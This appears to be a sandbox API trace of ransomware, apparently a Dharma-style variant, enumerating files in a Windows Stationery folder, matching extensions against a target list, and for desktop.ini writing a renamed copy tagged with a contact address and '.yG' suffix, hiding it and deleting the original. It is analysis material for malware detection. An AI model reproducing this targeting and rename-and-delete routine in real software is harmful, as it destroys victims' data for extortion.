	[0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0046.977] lstrlenW (lpString=".doc") returned 4
	[0046.977] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0046.977] lstrlenW (lpString=".docx") returned 5
	[0046.977] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0046.977] lstrlenW (lpString=".pdf") returned 4
	[0046.977] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0046.977] lstrlenW (lpString=".xls") returned 4
	[0046.977] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0046.977] lstrlenW (lpString=".xlsx") returned 5
	[0046.977] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0046.977] lstrlenW (lpString=".ppt") returned 4
	[0046.977] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0046.977] lstrlenW (lpString=".zip") returned 4
	[0046.977] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0046.977] lstrlenW (lpString=".rar") returned 4
	[0046.977] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0046.977] lstrlenW (lpString=".bz2") returned 4
	[0046.978] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0046.978] lstrlenW (lpString=".7z") returned 3
	[0046.978] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0046.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0046.978] lstrlenW (lpString=".dbf") returned 4
	[0046.978] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0046.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0046.978] lstrlenW (lpString=".1cd") returned 4
	[0046.978] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0046.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0046.978] lstrlenW (lpString=".jpg") returned 4
	[0046.978] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0046.978] lstrcmpiW (lpString1=".jpg", lpString2=".yG") returned -1
	[0046.978] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0046.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0046.984] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=6381) returned 1
	[0046.984] CloseHandle (hObject=0x2f8) returned 1
	[0046.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20
	[0046.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0046.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0046.984] lstrlenW (lpString=".doc") returned 4
	[0046.984] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0046.984] lstrlenW (lpString=".docx") returned 5
	[0046.984] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0046.984] lstrlenW (lpString=".pdf") returned 4
	[0046.984] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0046.984] lstrlenW (lpString=".xls") returned 4
	[0046.984] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0046.984] lstrlenW (lpString=".xlsx") returned 5
	[0046.984] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0046.984] lstrlenW (lpString=".ppt") returned 4
	[0046.984] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0046.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0046.984] lstrlenW (lpString=".zip") returned 4
	[0046.984] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0046.984] lstrlenW (lpString=".rar") returned 4
	[0046.985] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0046.985] lstrlenW (lpString=".bz2") returned 4
	[0046.985] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0046.985] lstrlenW (lpString=".7z") returned 3
	[0046.985] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0046.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0046.985] lstrlenW (lpString=".dbf") returned 4
	[0046.985] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0046.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0046.985] lstrlenW (lpString=".1cd") returned 4
	[0046.985] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0046.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0046.985] lstrlenW (lpString=".jpg") returned 4
	[0046.985] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0046.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0046.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0046.985] lstrlenW (lpString=".doc") returned 4
	[0046.985] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0046.985] lstrlenW (lpString=".docx") returned 5
	[0046.985] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0046.985] lstrlenW (lpString=".pdf") returned 4
	[0046.985] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0046.985] lstrlenW (lpString=".xls") returned 4
	[0046.985] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0046.985] lstrlenW (lpString=".xlsx") returned 5
	[0046.985] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0046.985] lstrlenW (lpString=".ppt") returned 4
	[0046.985] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0046.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0046.985] lstrlenW (lpString=".zip") returned 4
	[0046.985] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0046.985] lstrlenW (lpString=".rar") returned 4
	[0046.985] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0046.985] lstrlenW (lpString=".bz2") returned 4
	[0046.985] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0046.985] lstrlenW (lpString=".7z") returned 3
	[0046.985] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0046.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0046.986] lstrlenW (lpString=".dbf") returned 4
	[0046.986] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0046.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0046.986] lstrlenW (lpString=".1cd") returned 4
	[0046.986] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0046.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75
	[0046.986] lstrlenW (lpString=".jpg") returned 4
	[0046.986] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0046.986] lstrcmpiW (lpString1=".htm", lpString2=".yG") returned -1
	[0046.986] lstrlenW (lpString="Peacock.htm") returned 11
	[0046.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0046.989] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=232) returned 1
	[0046.989] CloseHandle (hObject=0x384) returned 1
	[0046.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20
	[0046.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0046.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0046.989] lstrlenW (lpString=".doc") returned 4
	[0046.989] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0046.989] lstrlenW (lpString=".docx") returned 5
	[0046.989] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1
	[0046.989] lstrlenW (lpString=".pdf") returned 4
	[0046.989] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0046.989] lstrlenW (lpString=".xls") returned 4
	[0046.989] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0046.989] lstrlenW (lpString=".xlsx") returned 5
	[0046.989] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1
	[0046.989] lstrlenW (lpString=".ppt") returned 4
	[0046.989] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0046.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0046.989] lstrlenW (lpString=".zip") returned 4
	[0046.990] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0046.990] lstrlenW (lpString=".rar") returned 4
	[0046.990] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0046.990] lstrlenW (lpString=".bz2") returned 4
	[0046.990] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0046.990] lstrlenW (lpString=".7z") returned 3
	[0046.990] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0046.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0046.990] lstrlenW (lpString=".dbf") returned 4
	[0046.990] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0046.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0046.990] lstrlenW (lpString=".1cd") returned 4
	[0046.990] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0046.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0046.990] lstrlenW (lpString=".jpg") returned 4
	[0046.990] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0046.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0046.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0046.990] lstrlenW (lpString=".doc") returned 4
	[0046.990] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0046.990] lstrlenW (lpString=".docx") returned 5
	[0046.990] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1
	[0046.990] lstrlenW (lpString=".pdf") returned 4
	[0046.990] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0046.990] lstrlenW (lpString=".xls") returned 4
	[0046.990] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0046.990] lstrlenW (lpString=".xlsx") returned 5
	[0046.990] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1
	[0046.990] lstrlenW (lpString=".ppt") returned 4
	[0046.990] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0046.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0046.990] lstrlenW (lpString=".zip") returned 4
	[0046.990] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0046.990] lstrlenW (lpString=".rar") returned 4
	[0046.990] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0046.990] lstrlenW (lpString=".bz2") returned 4
	[0046.990] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0046.991] lstrlenW (lpString=".7z") returned 3
	[0046.991] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0046.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0046.991] lstrlenW (lpString=".dbf") returned 4
	[0046.991] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0046.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0046.991] lstrlenW (lpString=".1cd") returned 4
	[0046.991] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0046.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0046.991] lstrlenW (lpString=".jpg") returned 4
	[0046.991] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0046.991] lstrcmpiW (lpString1=".jpg", lpString2=".yG") returned -1
	[0046.991] lstrlenW (lpString="Peacock.jpg") returned 11
	[0046.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0047.036] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=5115) returned 1
	[0047.036] CloseHandle (hObject=0x384) returned 1
	[0047.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20
	[0047.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0047.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0047.036] lstrlenW (lpString=".doc") returned 4
	[0047.036] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0047.037] lstrlenW (lpString=".docx") returned 5
	[0047.037] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1
	[0047.037] lstrlenW (lpString=".pdf") returned 4
	[0047.037] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0047.037] lstrlenW (lpString=".xls") returned 4
	[0047.037] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0047.037] lstrlenW (lpString=".xlsx") returned 5
	[0047.037] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1
	[0047.037] lstrlenW (lpString=".ppt") returned 4
	[0047.037] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0047.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0047.037] lstrlenW (lpString=".zip") returned 4
	[0047.037] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0047.037] lstrlenW (lpString=".rar") returned 4
	[0047.037] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0047.037] lstrlenW (lpString=".bz2") returned 4
	[0047.037] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0047.037] lstrlenW (lpString=".7z") returned 3
	[0047.037] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0047.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0047.037] lstrlenW (lpString=".dbf") returned 4
	[0047.037] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0047.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0047.037] lstrlenW (lpString=".1cd") returned 4
	[0047.037] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0047.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0047.037] lstrlenW (lpString=".jpg") returned 4
	[0047.037] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0047.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0047.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0047.037] lstrlenW (lpString=".doc") returned 4
	[0047.037] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0047.037] lstrlenW (lpString=".docx") returned 5
	[0047.037] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1
	[0047.037] lstrlenW (lpString=".pdf") returned 4
	[0047.037] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0047.038] lstrlenW (lpString=".xls") returned 4
	[0047.038] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0047.038] lstrlenW (lpString=".xlsx") returned 5
	[0047.038] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1
	[0047.038] lstrlenW (lpString=".ppt") returned 4
	[0047.038] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0047.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0047.038] lstrlenW (lpString=".zip") returned 4
	[0047.038] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0047.038] lstrlenW (lpString=".rar") returned 4
	[0047.038] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0047.038] lstrlenW (lpString=".bz2") returned 4
	[0047.038] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0047.038] lstrlenW (lpString=".7z") returned 3
	[0047.038] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0047.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0047.038] lstrlenW (lpString=".dbf") returned 4
	[0047.038] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0047.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0047.038] lstrlenW (lpString=".1cd") returned 4
	[0047.038] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0047.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 69
	[0047.038] lstrlenW (lpString=".jpg") returned 4
	[0047.038] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0047.038] lstrcmpiW (lpString1=".htm", lpString2=".yG") returned -1
	[0047.038] lstrlenW (lpString="Shades of Blue.htm") returned 18
	[0047.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0047.069] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=237) returned 1
	[0047.069] CloseHandle (hObject=0x37c) returned 1
	[0047.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20
	[0047.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0047.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0047.073] lstrlenW (lpString=".doc") returned 4
	[0047.073] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0047.073] lstrlenW (lpString=".docx") returned 5
	[0047.073] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1
	[0047.073] lstrlenW (lpString=".pdf") returned 4
	[0047.073] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0047.073] lstrlenW (lpString=".xls") returned 4
	[0047.073] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0047.073] lstrlenW (lpString=".xlsx") returned 5
	[0047.073] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1
	[0047.073] lstrlenW (lpString=".ppt") returned 4
	[0047.073] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0047.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0047.073] lstrlenW (lpString=".zip") returned 4
	[0047.073] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0047.074] lstrlenW (lpString=".rar") returned 4
	[0047.074] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0047.074] lstrlenW (lpString=".bz2") returned 4
	[0047.074] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0047.074] lstrlenW (lpString=".7z") returned 3
	[0047.074] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0047.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76
	[0047.074] lstrlenW (lpString=".dbf") returned 4
	[0047.074] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0047.270] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.270] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.270] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0047.270] GetLastError () returned 0x0
	[0047.270] ReadFile (in: hFile=0x2f0, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xae, lpOverlapped=0x0) returned 1
	[0047.270] WriteFile (in: hFile=0x380, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xb0, lpOverlapped=0x0) returned 1
	[0047.271] ReadFile (in: hFile=0x2f0, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.271] WriteFile (in: hFile=0x380, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xea, lpOverlapped=0x0) returned 1
	[0047.271] SetEndOfFile (hFile=0x380) returned 1
	[0047.271] CloseHandle (hObject=0x380) returned 1
	[0047.272] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.272] SetEndOfFile (hFile=0x2f0) returned 1
	[0047.273] CloseHandle (hObject=0x2f0) returned 1
	[0047.273] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x26) returned 1
	[0047.273] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1
	[0047.273] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0047.273] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0047.273] lstrlenW (lpString=".doc") returned 4
	[0047.273] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0047.273] lstrlenW (lpString=".docx") returned 5
	[0047.273] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0047.274] lstrlenW (lpString=".pdf") returned 4
	[0047.274] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0047.274] lstrlenW (lpString=".xls") returned 4
	[0047.274] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0047.274] lstrlenW (lpString=".xlsx") returned 5
	[0047.274] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0047.274] lstrlenW (lpString=".ppt") returned 4
	[0047.274] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
